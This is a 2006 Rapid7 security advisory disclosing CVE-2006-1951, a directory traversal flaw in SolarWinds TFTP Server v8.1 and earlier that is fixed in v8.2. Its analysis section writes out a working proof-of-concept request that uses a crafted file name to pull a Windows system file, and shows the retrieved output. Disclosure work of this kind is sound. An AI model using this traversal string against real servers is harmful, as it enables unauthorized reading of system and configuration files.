Rapid7 Advisory R7-0019
Directory traversal vulnerability in SolarWinds TFTP Server for Windows

   Date:  April 21, 2006
   Revision:   1.0
   http://www.rapid7.com/advisories/R7-0019.html

   CVE: CVE-2006-1951

1. Affected system(s):

   KNOWN VULNERABLE:
    o SolarWinds TFTP Server v8.1 and earlier

   KNOWN FIXED:
    o SolarWinds TFTP Server v8.2

2. Summary

   Rapid7 has found a directory traversal vulnerability in SolarWinds
   TFTP Server for Windows.  This vulnerability allows remote users to
   download any files outside of the server's TFTP data directory.

3. Vendor status and information

   SolarWinds
   http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/

   Vendor was notified of this vulnerability.  The vulnerability
   is not present in the newest version of TFTP Server version 8.2,
   released in September 2005.

4. Solution

   Upgrade to TFTP Server version 8.2 or later.

5. Detailed analysis

   TFTP servers are often used to transfer configuration files and
   operating system images to routers.  TFTP is also used for devices
   that support PXE booting.

   Most implementations do trivial filtering on requested filenames
   such as "../filename" to prevent easy directory traversal.
   However, it is easy to bypass this filtering by manipulating the
   filename being requested.

   With the SolarWinds TFTP server, any file on the system can be
   downloaded using a request similar to the following:

      $ tftp 192.168.0.1
      tftp> get NUL/....//....//WINNT/win.ini
      Received 582 bytes in 0.0 seconds
      tftp> quit

      $ cat win.ini
      ; for 16-bit app support
      [fonts]
      [extensions]
      [mci extensions]
      [files]
      [Mail]
      MAPI=1
      ...

   This vulnerability was discovered by Chad Loder of Rapid7.
